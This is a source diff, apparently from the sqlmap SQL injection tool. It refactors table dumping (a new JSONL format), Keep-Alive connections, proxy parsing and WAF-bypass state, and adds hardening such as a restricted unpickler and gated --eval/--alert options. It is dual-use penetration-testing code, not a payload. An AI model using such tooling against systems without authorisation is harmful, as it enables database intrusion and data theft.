-            dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
+            dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
+
             if not checkFile(dumpFileName, False):
                 try:
                     openFile(dumpFileName, "w+").close()
@@ -458,13 +497,10 @@ class Dump(object):
                     raise
                 except:
                     warnFile = True
-
-                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
-                    if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
-                        _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
-                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
+                    if IS_WIN and safeTable.upper() in WINDOWS_RESERVED_NAMES:
+                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (safeTable, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                     else:
-                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
+                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
             else:
                 appendToFile = any((conf.limitStart, conf.limitStop))
 
@@ -548,7 +584,7 @@ class Dump(object):
             dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
             dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
             dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
-            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
+            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)).replace("<", ""))
             dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
             dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
 
@@ -591,10 +627,25 @@ class Dump(object):
         elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
             rtable.beginTransaction()
 
+        # Precompute the per-column layout once. These values are invariant across
+        # every row, so resolving them per cell (dict lookup, int() conversion and
+        # identifier normalization) wasted count x ncols work on large dumps.
+        dumpColumns = []
+        for column in columns:
+            if column != "__infos__":
+                info = tableValues[column]
+                dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"])))
+
         for i in xrange(count):
             console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
             field = 1
-            values = []
+
+            # Only the SQLITE and JSONL paths accumulate a per-row container; the
+            # others left these unused, wasting an allocation on every single row
+            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+                values = []
+            elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                record = OrderedDict()
 
             if i == 0 and count > TRIM_STDOUT_DUMP_SIZE:
                 self._write(" ...")
@@ -602,54 +653,58 @@ class Dump(object):
             if conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "<tr>")
 
-            for column in columns:
-                if column != "__infos__":
-                    info = tableValues[column]
+            for safeColumn, colValues, maxlength in dumpColumns:
+                if len(colValues) <= i or colValues[i] is None:
+                    value = u''
+                else:
+                    value = getUnicode(colValues[i])
+                    value = DUMP_REPLACEMENTS.get(value, value)
 
-                    if len(info["values"]) <= i:
-                        continue
-
-                    if info["values"][i] is None:
-                        value = u''
+                if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+                    # Note: store a real NULL for the NULL sentinel (and the raw value otherwise),
+                    # mirroring the JSONL path below; appending the display-replaced 'NULL'/'<blank>'
+                    # text would corrupt the INTEGER/REAL-typed columns inferred above
+                    if len(colValues) <= i or colValues[i] is None or colValues[i] == " ":  # NULL
+                        values.append(None)
                     else:
-                        value = getUnicode(info["values"][i])
-                        value = DUMP_REPLACEMENTS.get(value, value)
+                        values.append(getUnicode(colValues[i]))
 
-                    if conf.dumpFormat == DUMP_FORMAT.SQLITE:
-                        values.append(value)
+                blank = " " * (maxlength - getConsoleLength(value))
+                self._write("| %s%s" % (value, blank), newline=False, console=console)
 
-                    maxlength = int(info["length"])
-                    blank = " " * (maxlength - getConsoleLength(value))
-                    self._write("| %s%s" % (value, blank), newline=False, console=console)
+                if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
+                    try:
+                        mimetype = getText(magic.from_buffer(getBytes(value), mime=True))
+                        if any(mimetype.startswith(_) for _ in ("application", "image")):
+                            if not os.path.isdir(dumpDbPath):
+                                os.makedirs(dumpDbPath)
 
-                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
-                        try:
-                            mimetype = getText(magic.from_buffer(value, mime=True))
-                            if any(mimetype.startswith(_) for _ in ("application", "image")):
-                                if not os.path.isdir(dumpDbPath):
-                                    os.makedirs(dumpDbPath)
+                            _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn))
+                            filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
+                            warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
+                            logger.warning(warnMsg)
 
-                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
-                                filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
-                                warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
-                                logger.warning(warnMsg)
+                            with openFile(filepath, "w+b", None) as f:
+                                _ = safechardecode(value, True)
+                                f.write(_)
 
-                                with openFile(filepath, "w+b", None) as f:
-                                    _ = safechardecode(value, True)
-                                    f.write(_)
+                    except Exception as ex:
+                        logger.debug(getSafeExString(ex))
 
-                        except Exception as ex:
-                            logger.debug(getSafeExString(ex))
+                if conf.dumpFormat == DUMP_FORMAT.CSV:
+                    if field == fields:
+                        dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
+                    else:
+                        dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
+                elif conf.dumpFormat == DUMP_FORMAT.HTML:
+                    dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
+                elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                    if len(colValues) <= i or colValues[i] is None or colValues[i] == " ":  # NULL
+                        record[safeColumn] = None
+                    else:
+                        record[safeColumn] = getUnicode(colValues[i])
 
-                    if conf.dumpFormat == DUMP_FORMAT.CSV:
-                        if field == fields:
-                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
-                        else:
-                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
-                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
-
-                    field += 1
+                field += 1
 
             if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                 try:
@@ -660,6 +715,8 @@ class Dump(object):
                 dataToDumpFile(dumpFP, "\n")
             elif conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "</tr>\n")
+            elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False)))
 
             self._write("|", console=console)
 
@@ -669,11 +726,11 @@ class Dump(object):
             rtable.endTransaction()
             logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
 
-        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
+        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
             if conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "</tbody>\n</table>\n<script>let lc=-1,ld=1;function sortTable(n,h){var t=document.querySelector(\"table\"),r=Array.from(t.tBodies[0].rows);ld=(lc==n?-ld:1);lc=n;r.sort((a,b)=>{var x=a.cells[n].innerText.trim(),y=b.cells[n].innerText.trim(),nx=parseFloat(x),ny=parseFloat(y);return(!isNaN(nx)&&!isNaN(ny)?(nx-ny)*ld:x.localeCompare(y)*ld)});r.forEach(e=>t.tBodies[0].appendChild(e));Array.from(t.tHead.rows[0].cells).forEach(c=>{c.innerText=c.innerText.replace(/[\u2191\u2193]/g,\"\")});h.innerText=h.innerText+ (ld==1?\"\u2191\":\"\u2193\");}</script>\n</body>\n</html>")
-            else:
-                dataToDumpFile(dumpFP, "\n")
+            # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise
+            # the file ends with a blank line and a later --start/--stop append injects an empty record
             dumpFP.close()
 
             msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName)
@@ -683,6 +740,8 @@ class Dump(object):
                 logger.warning(msg)
 
     def dbColumns(self, dbColumnsDict, colConsider, dbs):
+        self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS)
+
         if conf.api:
             self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
 

lib/core/enums.py

@@ -61,6 +61,7 @@ class DBMS(object):
     RAIMA = "Raima Database Manager"
     VIRTUOSO = "Virtuoso"
     SNOWFLAKE = "Snowflake"
+    SPANNER = "Spanner"
 
 class DBMS_DIRECTORY_NAME(object):
     ACCESS = "access"
@@ -92,6 +93,7 @@ class DBMS_DIRECTORY_NAME(object):
     RAIMA = "raima"
     VIRTUOSO = "virtuoso"
     SNOWFLAKE = "snowflake"
+    SPANNER = "spanner"
 
 class FORK(object):
     MARIADB = "MariaDB"
@@ -112,6 +114,7 @@ class FORK(object):
     DM8 = "DM8"
     DORIS = "Doris"
     STARROCKS = "StarRocks"
+    TRINO = "Trino"
 
 class CUSTOM_LOGGING(object):
     PAYLOAD = 9
@@ -236,6 +239,7 @@ class DUMP_FORMAT(object):
     CSV = "CSV"
     HTML = "HTML"
     SQLITE = "SQLITE"
+    JSONL = "JSONL"
 
 class HTTP_HEADER(object):
     ACCEPT = "Accept"
@@ -285,6 +289,7 @@ class HASHDB_KEYS(object):
     DBMS = "DBMS"
     DBMS_FORK = "DBMS_FORK"
     CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
+    CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
     CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
     CONF_TMP_PATH = "CONF_TMP_PATH"
     KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
@@ -404,6 +409,7 @@ class CONTENT_TYPE(object):
     OS_CMD = 24
     REG_READ = 25
     STATEMENTS = 26
+    PROCEDURES = 27
 
 class CONTENT_STATUS(object):
     IN_PROGRESS = 0

lib/core/option.py

@@ -145,6 +145,8 @@ from lib.request.chunkedhandler import ChunkedHandler
 from lib.request.connect import Connect as Request
 from lib.request.dns import DNSServer
 from lib.request.httpshandler import HTTPSHandler
+from lib.request.keepalive import HTTPKeepAliveHandler
+from lib.request.keepalive import HTTPSKeepAliveHandler
 from lib.request.pkihandler import HTTPSPKIAuthHandler
 from lib.request.rangehandler import HTTPRangeHandler
 from lib.request.redirecthandler import SmartRedirectHandler
@@ -154,7 +156,6 @@ from lib.utils.har import HTTPCollectorFactory
 from lib.utils.purge import purge
 from lib.utils.search import search
 from thirdparty import six
-from thirdparty.keepalive import keepalive
 from thirdparty.multipart import multipartpost
 from thirdparty.six.moves import collections_abc as _collections
 from thirdparty.six.moves import http_client as _http_client
@@ -166,7 +167,8 @@ from xml.etree.ElementTree import ElementTree
 authHandler = _urllib.request.BaseHandler()
 chunkedHandler = ChunkedHandler()
 httpsHandler = HTTPSHandler()
-keepAliveHandler = keepalive.HTTPHandler()
+keepAliveHandler = HTTPKeepAliveHandler()
+keepAliveHandlerHTTPS = HTTPSKeepAliveHandler()
 proxyHandler = _urllib.request.ProxyHandler()
 redirectHandler = SmartRedirectHandler()
 rangeHandler = HTTPRangeHandler()
@@ -436,19 +438,27 @@ def _setStdinPipeTargets():
                 return self.next()
 
             def next(self):
-                try:
-                    line = next(conf.stdinPipe)
-                except (IOError, OSError, TypeError, UnicodeDecodeError):
-                    line = None
+                while True:
+                    try:
+                        line = next(conf.stdinPipe)
+                    except (IOError, OSError, TypeError, UnicodeDecodeError):
+                        line = None
+                    except StopIteration:
+                        line = None
 
-                if line:
-                    match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
-                    if match:
-                        return (match.group(0), conf.method, conf.data, conf.cookie, None)
-                elif self.__rest:
-                    return self.__rest.pop()
+                    if line:
+                        match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
+                        if match:
+                            return (match.group(0), conf.method, conf.data, conf.cookie, None)
+                        # Note: a non-empty line that is not a target (blank line, comment,
+                        # non-parameterized URL) must be skipped, not treated as end-of-input
+                        continue
 
-                raise StopIteration()
+                    # end-of-input (or read error): drain any queued targets, then stop
+                    if self.__rest:
+                        return self.__rest.pop()
+
+                    raise StopIteration()
 
             def add(self, elem):
                 self.__rest.add(elem)
@@ -608,7 +618,7 @@ def _setMetasploit():
         else:
             warnMsg = "the provided Metasploit Framework path "
             warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
-            warnMsg += "be that the path does not exists or that one "
+            warnMsg += "be that the path does not exist or that one "
             warnMsg += "or more of the needed Metasploit executables "
             warnMsg += "within msfcli, msfconsole, msfencode and "
             warnMsg += "msfpayload do not exist"
@@ -1057,6 +1067,7 @@ def _setSocketPreConnect():
 
     def _thread():
         while kb.get("threadContinue") and not conf.get("disablePrecon"):
+            done = False
             try:
                 with kb.locks.socket:
                     keys = list(socket._ready.keys())
@@ -1076,6 +1087,7 @@ def _setSocketPreConnect():
                         if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE:
                             q.append((s, time.time()))
                             s = None
+                            done = True
 
                     if s is not None:
                         try:
@@ -1088,7 +1100,7 @@ def _setSocketPreConnect():
             except:
                 pass
             finally:
-                time.sleep(0.01)
+                time.sleep(0.01 if not done else 0.001)
 
     def create_connection(*args, **kwargs):
         retVal = None
@@ -1237,18 +1249,22 @@ def _setHTTPHandlers():
             handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
 
         # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
-        if conf.keepAlive:
-            warnMsg = "persistent HTTP(s) connections, Keep-Alive, has "
-            warnMsg += "been disabled because of its incompatibility "
+        # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
+        # and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
+        # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
+        conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
 
-            if conf.proxy:
-                warnMsg += "with HTTP(s) proxy"
-                logger.warning(warnMsg)
-            elif conf.authType:
-                warnMsg += "with authentication methods"
-                logger.warning(warnMsg)
-            else:
-                handlers.append(keepAliveHandler)
+        if conf.keepAlive:
+            # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
+            # handler supersedes the regular one (reusing its SSL connection)
+            if httpsHandler in handlers:
+                handlers.remove(httpsHandler)
+            handlers.append(keepAliveHandler)
+            handlers.append(keepAliveHandlerHTTPS)
+        elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
+            reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
+            debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
+            logger.debug(debugMsg)
 
         opener = _urllib.request.build_opener(*handlers)
         opener.addheaders = []  # Note: clearing default "User-Agent: Python-urllib/X.Y"
@@ -1394,7 +1410,9 @@ def _setHTTPAuthentication():
             conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip()))
             return
         elif authType == AUTH_TYPE.NTLM:
-            regExp = "^(.*\\\\.*):(.*?)$"
+            # Note: the DOMAIN\username part is colon-free, so the password group takes the full
+            # remainder (a greedy first group would otherwise swallow colons inside the password)
+            regExp = "^([^:]*\\\\[^:]*):(.*)$"
             errMsg = "HTTP NTLM authentication credentials value must "
             errMsg += "be in format 'DOMAIN\\username:password'"
         elif authType == AUTH_TYPE.PKI:
@@ -1452,14 +1470,14 @@ def _setHTTPExtraHeaders():
             if not headerValue.strip():
                 continue
 
-            if headerValue.count(':') >= 1:
+            if headerValue.startswith('@'):
+                checkFile(headerValue[1:])
+                kb.headersFile = headerValue[1:]
+            elif headerValue.count(':') >= 1:
                 header, value = (_.lstrip() for _ in headerValue.split(":", 1))
 
                 if header and value:
                     conf.httpHeaders.append((header, value))
-            elif headerValue.startswith('@'):
-                checkFile(headerValue[1:])
-                kb.headersFile = headerValue[1:]
             else:
                 errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
                 raise SqlmapSyntaxException(errMsg)
@@ -1673,9 +1691,9 @@ def _createTemporaryDirectory():
         except Exception as ex:
             warnMsg = "there has been a problem while accessing "
             warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
-            warnMsg += "make sure that there is enough disk space left. If problem persists, "
+            warnMsg += "make sure that there is enough disk space left. If the problem persists, "
             warnMsg += "try to set environment variable 'TEMP' to a location "
-            warnMsg += "writeable by the current user"
+            warnMsg += "writable by the current user"
             logger.warning(warnMsg)
 
     if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
@@ -1990,7 +2008,7 @@ def _cleanupEnvironment():
     Cleanup environment (e.g. from leftovers after --shell).
     """
 
-    if issubclass(_http_client.socket.socket, socks.socksocket):
+    if getattr(_http_client.socket, "socket", None) is not getattr(socks, "_orgsocket", None):
         socks.unwrapmodule(_http_client)
 
     if hasattr(socket, "_ready"):
@@ -2069,9 +2087,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.cache = AttribDict()
     kb.cache.addrinfo = {}
     kb.cache.content = LRUDict(capacity=16)
-    kb.cache.comparison = {}
+    kb.cache.comparison = LRUDict(capacity=256)
     kb.cache.encoding = LRUDict(capacity=256)
     kb.cache.alphaBoundaries = None
+    kb.cache.charsetAsciiTbl = None
     kb.cache.hashRegex = None
     kb.cache.intBoundaries = None
     kb.cache.parsedDbms = {}
@@ -2086,6 +2105,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
     kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))
 
+    kb.checkWafMode = False
     kb.choices = AttribDict(keycheck=False)
     kb.codePage = None
     kb.commonOutputs = None
@@ -2141,6 +2161,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.heuristicTest = None
     kb.hintValue = ""
     kb.htmlFp = []
+    kb.huffmanModel = {}
+    kb.respTruncated = False
+    kb.huffmanValidated = False
+    kb.disableHuffman = False
+    kb.huffmanProbes = 0
+    kb.huffmanEscapes = 0
     kb.httpErrorCodes = {}
     kb.inferenceMode = False
     kb.ignoreCasted = None
@@ -2184,6 +2210,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.pageTemplates = dict()
     kb.pageEncoding = DEFAULT_PAGE_ENCODING
     kb.pageStable = None
+    kb.pageStructurallyStable = None
     kb.partRun = None
     kb.permissionFlag = False
     kb.place = None
@@ -2233,6 +2260,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.udfFail = False
     kb.unionDuplicates = False
     kb.unionTemplate = None
+    kb.wafBypass = None
     kb.webSocketRecvCount = None
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
@@ -2503,9 +2531,11 @@ def _setProxyList():
         return
 
     conf.proxyList = []
-    for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
-        _, type_, address, port = match.groups()
-        conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
+    # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format
+    # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped
+    for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
+        _, type_, cred, address, port = match.groups()
+        conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port))
 
 def _setTorProxySettings():
     if not conf.tor:
@@ -2575,6 +2605,7 @@ def _setHttpOptions():
     if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")):
         try:
             from websocket import ABNF
+            ABNF # require websocket-client, not any 'websocket' module
         except ImportError:
             errMsg = "sqlmap requires third-party module 'websocket-client' "
             errMsg += "in order to use WebSocket functionality"
@@ -2636,6 +2667,10 @@ def _basicOptionValidation():
         errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.http2 and any((conf.tor, conf.proxy and conf.proxy.lower().startswith("socks"))):
+        errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.uValues and conf.uChar:
         errMsg = "option '--union-values' is incompatible with option '--union-char'"
         raise SqlmapSyntaxException(errMsg)
@@ -2668,6 +2703,20 @@ def _basicOptionValidation():
         errMsg = "switch '--dump' is incompatible with switch '--search'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.alert and os.environ.get("SQLMAP_UNSAFE_ALERT") != '1':
+        errMsg = "for security reasons, to prevent execution of potentially malicious "
+        errMsg += "OS commands via configuration files or copy-paste attacks, "
+        errMsg += "the '--alert' option requires the environment variable "
+        errMsg += "'SQLMAP_UNSAFE_ALERT=1' to be explicitly set"
+        raise SqlmapSystemException(errMsg)
+
+    if conf.evalCode and os.environ.get("SQLMAP_UNSAFE_EVAL") != '1':
+        errMsg = "for security reasons, to prevent execution of potentially malicious "
+        errMsg += "Python code via configuration files or copy-paste attacks, "
+        errMsg += "the '--eval' option requires the environment variable "
+        errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
+        raise SqlmapSystemException(errMsg)
+
     if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
         errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
         raise SqlmapSyntaxException(errMsg)
@@ -2810,7 +2859,7 @@ def _basicOptionValidation():
         raise SqlmapSyntaxException(errMsg)
 
     if conf.csrfToken and conf.threads > 1:
-        errMsg = "option '--csrf-url' is incompatible with option '--threads'"
+        errMsg = "option '--csrf-token' is incompatible with option '--threads'"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.requestFile and conf.url and conf.url != DUMMY_URL:

lib/core/optiondict.py

@@ -63,6 +63,7 @@ optDict = {
         "safeReqFile": "string",
         "safeFreq": "integer",
         "skipUrlEncode": "boolean",
+        "skipXmlEncode": "boolean",
         "csrfToken": "string",
         "csrfUrl": "string",
         "csrfMethod": "string",
@@ -78,6 +79,7 @@ optDict = {
         "optimize": "boolean",
         "predictOutput": "boolean",
         "keepAlive": "boolean",
+        "noKeepAlive": "boolean",
         "nullConnection": "boolean",
         "threads": "integer",
     },
@@ -99,6 +101,7 @@ optDict = {
         "prefix": "string",
         "suffix": "string",
         "tamper": "string",
+        "proof": "boolean",
     },
 
     "Detection": {
@@ -115,6 +118,11 @@ optDict = {
 
     "Techniques": {
         "technique": "string",
+        "nosql": "boolean",
+        "graphql": "boolean",
+        "ldap": "boolean",
+        "xpath": "boolean",
+        "ssti": "boolean",
         "timeSec": "integer",
         "uCols": "string",
         "uChar": "string",
@@ -150,6 +158,7 @@ optDict = {
         "search": "boolean",
         "getComments": "boolean",
         "getStatements": "boolean",
+        "getProcs": "boolean",
         "db": "string",
         "tbl": "string",
         "col": "string",
@@ -234,6 +243,7 @@ optDict = {
         "postprocess": "string",
         "preprocess": "string",
         "repair": "boolean",
+        "reportJson": "string",
         "saveConfig": "string",
         "scope": "string",
         "skipHeuristics": "boolean",
@@ -267,10 +277,12 @@ optDict = {
     "Hidden": {
         "dummy": "boolean",
         "disablePrecon": "boolean",
+        "noHuffman": "boolean",
         "profile": "boolean",
         "forceDns": "boolean",
         "murphyRate": "integer",
         "smokeTest": "boolean",
+        "apiTest": "boolean",
     },
 
     "API": {

lib/core/patch.py

@@ -6,7 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import codecs
-import collections
+import difflib
 import inspect
 import logging
 import os
@@ -70,7 +70,8 @@ def dirtyPatches():
 
     # add support for inet_pton() on Windows OS
     if IS_WIN:
-        from thirdparty.wininetpton import win_inet_pton
+        from thirdparty.wininetpton.win_inet_pton import inject_into_socket
+        inject_into_socket()
 
     # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
     codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
@@ -84,7 +85,7 @@ def dirtyPatches():
         _http_client.LineAndFileWrapper.readline = _
 
     # to prevent too much "guessing" in case of binary data retrieval
-    thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
+    thirdparty.chardet.universaldetector.UniversalDetector.MINIMUM_THRESHOLD = 0.90
 
     match = re.search(r" --method[= ](\w+)", " ".join(sys.argv))
     if match and match.group(1).upper() != PLACE.POST:
@@ -160,6 +161,77 @@ def dirtyPatches():
 
         logging._releaseLock = _releaseLock
 
+    from xml.etree import ElementTree as et
+    if not getattr(et, "_patched", False):
+        _real_parse = et.parse
+
+        def _safe_parse(source, parser=None):
+            if parser is None:
+                parser = et.XMLParser()
+                if hasattr(parser, "parser"):
+                    def reject(*args): raise ValueError("XML entities are forbidden")
+                    parser.parser.EntityDeclHandler = reject
+                    parser.parser.UnparsedEntityDeclHandler = reject
+
+            return _real_parse(source, parser=parser)
+
+        et.parse = _safe_parse
+        et._patched = True
+
+    import io
+    import pickle
+    if not getattr(pickle, "_patched", False):
+        class RestrictedUnpickler(pickle.Unpickler):
+            # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only
+            # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled
+            def find_class(self, module, name):
+                # Note: protocol-2 pickling of a 'bytes' value on Python 3 emits a _codecs.encode global; allow that one
+                # (it only runs a codec, e.g. latin1 - it cannot execute arbitrary code) so serialized values containing
+                # bytes round-trip. Everything else from _codecs (e.g. lookup) stays blocked by the rule below.
+                if module == "_codecs" and name == "encode":
+                    pass
+                # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.)
+                elif module in ("builtins", "__builtin__"):
+                    if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"):
+                        raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name))
+                # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict)
+                elif (module or "").split(".")[0] not in ("lib", "plugins", "thirdparty"):
+                    raise ValueError("unpickling of module '%s' is forbidden" % module)
+
+                # Python 2/3 method resolution
+                if hasattr(pickle.Unpickler, "find_class"):
+                    return pickle.Unpickler.find_class(self, module, name)
+
+                __import__(module)
+                return getattr(sys.modules[module], name)
+
+        def _safe_loads(data):
+            try:
+                stream = io.BytesIO(data)
+            except TypeError:
+                stream = io.StringIO(data)
+
+            return RestrictedUnpickler(stream).load()
+
+        pickle.loads = _safe_loads
+        pickle._patched = True
+
+    try:
+        import cPickle
+        if not getattr(cPickle, "_patched", False):
+            cPickle.loads = pickle.loads
+            cPickle._patched = True
+    except ImportError:
+        pass
+
+    try:
+        import builtins
+    except ImportError:
+        import __builtin__ as builtins
+
+    if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate:
+        difflib.enumerate = builtins.enumerate
+
 def resolveCrossReferences():
     """
     Place for cross-reference resolution

lib/core/readlineng.py

@@ -7,15 +7,21 @@ See the file 'LICENSE' for copying permission
 
 _readline = None
 try:
-    from readline import *
     import readline as _readline
 except:
     try:
-        from pyreadline import *
         import pyreadline as _readline
     except:
         pass
 
+if _readline:
+    _symbols = getattr(_readline, "__all__", None)
+    if _symbols is None:
+        _symbols = (name for name in dir(_readline) if not name.startswith("_"))
+
+    for _symbol in _symbols:
+        globals()[_symbol] = getattr(_readline, _symbol)
+
 from lib.core.data import logger
 from lib.core.settings import IS_WIN
 from lib.core.settings import PLATFORM

lib/core/replication.py

@@ -23,8 +23,11 @@ class Replication(object):
     """
 
     def __init__(self, dbpath):
+        self.dbpath = dbpath
+        self.connection = None
+        self.cursor = None
+
         try:
-            self.dbpath = dbpath
